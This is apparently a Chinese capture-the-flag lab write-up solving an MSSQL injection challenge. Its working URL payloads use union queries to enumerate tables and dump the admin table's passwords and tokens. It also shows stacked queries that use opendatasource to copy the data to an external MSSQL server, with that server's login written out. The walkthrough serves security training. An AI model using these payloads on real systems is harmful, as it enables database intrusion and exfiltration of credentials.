封神台靶场-MSSQL注入
MSSQL显错注入
与MySQL联合查询不同,MSSQL联合查询由于数据类型匹配较为严格,所以需要union select null来代替数字,然后不断尝试寻找到正确的类型,但是大体上还是相似的
猜解字段数
http://o9pz8015.ia.aqlab.cn/?id=1' order by 3 -- qwe #页面正常
http://o9pz8015.ia.aqlab.cn/?id=1' order by 4 -- qwe #页面异常
得出字段数为3
判断显错点
http://o9pz8015.ia.aqlab.cn/?id=1' and 1=2 union select 1,'a','b' -- qwe
得出显错点第一个字段为整型,第二三个字段为字符型
查询系统自带库的表
http://o9pz8015.ia.aqlab.cn/?id=1' and 1=2 union select id,name,null from sysobjects where xtype='U' -- qwe
查询admin表的字段名
http://o9pz8015.ia.aqlab.cn/?id=1' and 1=2 union select id,name,null from syscolumns where id=1977058079 -- qwe
查询admin表的数据
http://o9pz8015.ia.aqlab.cn/?id=1' and 1=2 union select id,passwd,token from admin -- qwe
得出flag为:zkaq{e9c9e67c5}
MSSQL反弹注入
概念:
利用SQL语句,让目标的数据库来访问你在公网上的数据库,然后插入数据
本质就是让目标机器访问攻击者准备好的数据库,然后插入信息
原理:
利用opendatasource函数,把查询出来的数据发送到准备好的MSSQL服务器上
查询语句
# 查询系统自带表中xtype='U'的name,id并插入到我们准备好的temp表
http://o9pz8015.ia.aqlab.cn/?id=1';insert into opendatasource('sqloledb','server=SQL5095.site4now.net,1433;uid=DB_14DC274_abcd_admin;pwd=123456.com;database=DB_14DC274_abcd').DB_14DC274_abcd.dbo.temp select id,name,null,null from sysobjects where xtype='U' -- qwe
# 通过id锁定admin表,然后查询admin表的字段名并插入到我们准备好的temp表
http://o9pz8015.ia.aqlab.cn/?id=1';insert into opendatasource('sqloledb','server=SQL5095.site4now.net,1433;uid=DB_14DC274_abcd_admin;pwd=123456.com;database=DB_14DC274_abcd').DB_14DC274_abcd.dbo.temp select id,name,null,null from syscolumns where id=1977058079 -- qwe
# 查询admin表的数据并插入到准备好的temp表中
http://o9pz8015.ia.aqlab.cn/?id=1';insert into opendatasource('sqloledb','server=SQL5095.site4now.net,1433;uid=DB_14DC274_abcd_admin;pwd=123456.com;database=DB_14DC274_abcd').DB_14DC274_abcd.dbo.temp select id,passwd,token,username from admin -- qwe
最终得到表:
flag为:zkaq{e9c9e67c5}